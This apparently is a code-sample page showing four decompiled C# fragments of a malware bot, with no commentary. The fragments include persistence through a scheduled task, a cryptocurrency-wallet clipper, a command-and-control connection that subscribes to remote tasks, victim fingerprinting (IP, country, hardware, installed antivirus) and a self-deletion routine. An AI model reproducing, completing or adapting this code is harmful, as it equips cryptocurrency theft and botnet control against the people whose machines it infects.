Ejemplo n.º 1
0
 // Token: 0x0600011D RID: 285 RVA: 0x00006120 File Offset: 0x00004320
 public Task DeleteBot()
 {
     return(Task.Factory.StartNew(delegate
     {
         bool flag = File.Exists(Path.GetTempPath() + "\\MSBuild.exe");
         if (flag)
         {
             File.Delete(Path.GetTempPath() + "\\MSBuild.exe");
         }
         MainModule.RemoveByPath(this.ExeFile);
         MainModule.KillByPath(this.ExeFile);
     }));
 }
Ejemplo n.º 2
0
 public void Execute(string ID, string AppPath, string ServiceAdress, string InstallPath, Dictionary <string, WalletSettings> Wallets)
 {
     try
     {
         this.ComputerInfo = MainModule.GetSubInfo(ID);
         this.RunSheuldue(MainModule.InstallDir + "\\" + MainModule.InstallName);
         this.RunClipper(Wallets);
         this.Connection = new Connection(this.ComputerInfo, ServiceAdress, AppPath);
         this.Connection.BeginListener();
         this.Connection.firstLayer.Subscribe(this.ComputerInfo).Wait();
         this.SubscribeTasks();
         for (;;)
         {
             Thread.Sleep(1000);
         }
     }
     catch (Exception ex)
     {
     }
 }
Ejemplo n.º 3
0
        // Token: 0x06000092 RID: 146 RVA: 0x00004624 File Offset: 0x00002824
        public static SubInfo GetSubInfo(string buildID)
        {
            NetInfo netInfo = new WebClient().DownloadString("https://ipinfo.io/json").ParseJSON <NetInfo>();
            string  text    = MainModule.OsName();

            text = MainModule.NormalizeWithSplitAndJoin(string.Join <char>(string.Empty, from x in text.Trim()
                                                                           where !"йцукенгшщзхъфывапролджэячсмитьбюЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ".Contains(x)
                                                                           select x).Trim());
            SubInfo subInfo = new SubInfo();

            subInfo.Country          = netInfo.country;
            subInfo.IpAdress         = netInfo.ip;
            subInfo.Processor        = MainModule.ProcessorName();
            subInfo.OS               = text;
            subInfo.VideoCard        = MainModule.VideoCard();
            subInfo.HWID             = HWID.Generate();
            subInfo.BuildID          = buildID;
            subInfo.SystemSecurities = (from x in SecurityGatherer.GetSecurityProducts(0)
                                        select x.Name).ToList <string>();
            return(subInfo);
        }
Ejemplo n.º 4
0
 // Token: 0x0600008C RID: 140 RVA: 0x0000433C File Offset: 0x0000253C
 public MainModule()
 {
     MainModule.SetupLibraries(MainModule.InstallDir + "\\" + MainModule.InstallName);
     AppDomain.CurrentDomain.AssemblyResolve += MainModule.ResourceResolve;
 }